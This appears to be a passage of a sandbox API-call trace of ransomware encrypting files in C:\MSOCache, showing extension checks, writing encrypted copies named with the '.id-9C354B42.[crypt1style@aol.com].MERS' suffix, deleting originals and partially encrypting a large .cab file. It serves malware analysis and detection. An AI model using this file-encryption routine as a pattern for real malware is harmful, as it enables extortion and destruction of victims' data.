[0045.546] lstrlenW (lpString=".jpg") returned 4 [0045.546] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.546] lstrlenW (lpString=".doc") returned 4 [0045.546] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0045.546] lstrlenW (lpString=".docx") returned 5 [0045.546] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0045.546] lstrlenW (lpString=".pdf") returned 4 [0045.546] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0045.546] lstrlenW (lpString=".xls") returned 4 [0045.546] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0045.546] lstrlenW (lpString=".xlsx") returned 5 [0045.546] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0045.546] lstrlenW (lpString=".ppt") returned 4 [0045.546] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.546] lstrlenW (lpString=".zip") returned 4 [0045.546] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0045.546] lstrlenW (lpString=".rar") returned 4 [0045.546] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0045.546] lstrlenW (lpString=".bz2") returned 4 [0045.547] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0045.547] lstrlenW (lpString=".7z") returned 3 [0045.547] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0045.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.547] lstrlenW (lpString=".dbf") returned 4 [0045.547] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0045.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.547] lstrlenW (lpString=".1cd") returned 4 [0045.547] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0045.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.547] lstrlenW (lpString=".jpg") returned 4 [0045.547] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0045.547] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0045.547] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0045.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.547] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=868864) returned 1 [0045.548] CloseHandle (hObject=0x1a4) returned 1 [0045.548] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0045.548] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.548] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.548] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.548] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.548] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.548] GetLastError () returned 0x0 [0045.548] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0045.651] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0045.665] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.665] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.665] SetEndOfFile (hFile=0x1f8) returned 1 [0045.665] CloseHandle (hObject=0x1f8) returned 1 [0045.666] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.666] SetEndOfFile (hFile=0x1a4) returned 1 [0045.747] CloseHandle (hObject=0x1a4) returned 1 [0045.747] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.747] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString=".doc") returned 4 [0045.748] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.748] lstrlenW (lpString=".docx") returned 5 [0045.748] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.748] lstrlenW (lpString=".pdf") returned 4 [0045.748] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.748] lstrlenW (lpString=".xls") returned 4 [0045.748] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.748] lstrlenW (lpString=".xlsx") returned 5 [0045.748] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.748] lstrlenW (lpString=".ppt") returned 4 [0045.748] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString=".zip") returned 4 [0045.748] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.748] lstrlenW (lpString=".rar") returned 4 [0045.748] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.748] lstrlenW (lpString=".bz2") returned 4 [0045.748] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.748] lstrlenW (lpString=".7z") returned 3 [0045.748] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString=".dbf") returned 4 [0045.748] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString=".1cd") returned 4 [0045.748] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.748] lstrlenW (lpString=".jpg") returned 4 [0045.748] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString=".doc") returned 4 [0045.749] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.749] lstrlenW (lpString=".docx") returned 5 [0045.749] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.749] lstrlenW (lpString=".pdf") returned 4 [0045.749] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.749] lstrlenW (lpString=".xls") returned 4 [0045.749] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.749] lstrlenW (lpString=".xlsx") returned 5 [0045.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.749] lstrlenW (lpString=".ppt") returned 4 [0045.749] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString=".zip") returned 4 [0045.749] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.749] lstrlenW (lpString=".rar") returned 4 [0045.749] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.749] lstrlenW (lpString=".bz2") returned 4 [0045.749] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.749] lstrlenW (lpString=".7z") returned 3 [0045.749] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString=".dbf") returned 4 [0045.749] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString=".1cd") returned 4 [0045.749] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.749] lstrlenW (lpString=".jpg") returned 4 [0045.749] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.749] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0045.750] lstrlenW (lpString="ose.exe") returned 7 [0045.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.750] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=174440) returned 1 [0045.750] CloseHandle (hObject=0x1a4) returned 1 [0045.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0045.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.750] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.750] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.751] GetLastError () returned 0x0 [0045.751] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0046.171] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0046.175] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.175] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0046.175] SetEndOfFile (hFile=0x1f8) returned 1 [0046.175] CloseHandle (hObject=0x1f8) returned 1 [0046.175] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.175] SetEndOfFile (hFile=0x1a4) returned 1 [0046.177] CloseHandle (hObject=0x1a4) returned 1 [0046.177] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0046.177] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0046.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".doc") returned 4 [0046.178] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.178] lstrlenW (lpString=".docx") returned 5 [0046.178] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0046.178] lstrlenW (lpString=".pdf") returned 4 [0046.178] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString=".xls") returned 4 [0046.178] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString=".xlsx") returned 5 [0046.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0046.178] lstrlenW (lpString=".ppt") returned 4 [0046.178] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".zip") returned 4 [0046.178] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString=".rar") returned 4 [0046.178] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString=".bz2") returned 4 [0046.178] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.178] lstrlenW (lpString=".7z") returned 3 [0046.178] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".dbf") returned 4 [0046.178] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".1cd") returned 4 [0046.178] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".jpg") returned 4 [0046.178] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.178] lstrlenW (lpString=".doc") returned 4 [0046.178] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.178] lstrlenW (lpString=".docx") returned 5 [0046.178] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0046.178] lstrlenW (lpString=".pdf") returned 4 [0046.179] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.179] lstrlenW (lpString=".xls") returned 4 [0046.179] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.179] lstrlenW (lpString=".xlsx") returned 5 [0046.179] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0046.179] lstrlenW (lpString=".ppt") returned 4 [0046.179] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.179] lstrlenW (lpString=".zip") returned 4 [0046.179] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.179] lstrlenW (lpString=".rar") returned 4 [0046.179] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.179] lstrlenW (lpString=".bz2") returned 4 [0046.179] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.179] lstrlenW (lpString=".7z") returned 3 [0046.179] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.179] lstrlenW (lpString=".dbf") returned 4 [0046.179] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.179] lstrlenW (lpString=".1cd") returned 4 [0046.179] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.179] lstrlenW (lpString=".jpg") returned 4 [0046.179] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.179] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0046.179] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0046.179] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0046.180] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=36233052) returned 1 [0046.180] CloseHandle (hObject=0x1a4) returned 1 [0046.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0046.180] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.180] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0046.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0046.180] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.180] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.180] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.392] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.392] ReadFile (in: hFile=0x1a4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.498] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.498] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.498] ReadFile (in: hFile=0x1a4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.568] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.568] WriteFile (in: hFile=0x1a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.590] SetEndOfFile (hFile=0x1a4) returned 1 [0046.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x4007e38 [0046.594] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.594] WriteFile (in: hFile=0x1a4, lpBuffer=0x4007e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4007e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.595] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.595] WriteFile (in: hFile=0x1a4, lpBuffer=0x4007e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4007e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.595] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.595] WriteFile (in: hFile=0x1a4, lpBuffer=0x4007e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4007e38*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.648] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x4007e38 | out: hHeap=0x5f0000) returned 1 [0046.652] CloseHandle (hObject=0x1a4) returned 1 [0046.652] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 